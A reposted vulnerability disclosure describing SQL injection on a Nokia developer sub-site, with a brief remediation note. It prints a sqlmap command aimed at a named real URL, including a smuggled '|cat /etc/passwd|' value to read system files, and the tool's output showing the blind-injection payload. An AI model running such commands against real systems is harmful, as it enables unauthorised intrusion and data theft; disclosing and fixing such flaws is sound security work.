SQL Injection on a Nokia sub-site involves 1620 tables and 0.4 million data.

Source: Internet
Author: User

SQL Injection on a Nokia sub-site involves 1620 tables and 0.4 million data.

A batch vulnerability scanner is built ~~ Initial scan
Really Useful ~
The specific data is not run, that is, the table name.
Competition, high score

Injection point:
 

python sqlmap.py -u "http://developer.qt.nokia.com/ows-bin/ezshopper/loadpage.cgi?user_id=1&file=|cat%20/etc/passwd|" --tables --thread 3


 

[15:08:58] [INFO] resuming back-end DBMS 'oracle'[15:08:58] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: user_id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: user_id=1) AND 7908=7908 AND (4640=4640&file=|cat /etc/passwd|---[15:08:59] [INFO] the back-end DBMS is Oracleback-end DBMS: Oracle


 



Sensitive data
 

 

Solution:

Pre-compiled SQL statements and parameterized SQL statements.

It is better to add a parameter filter to the access interface.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.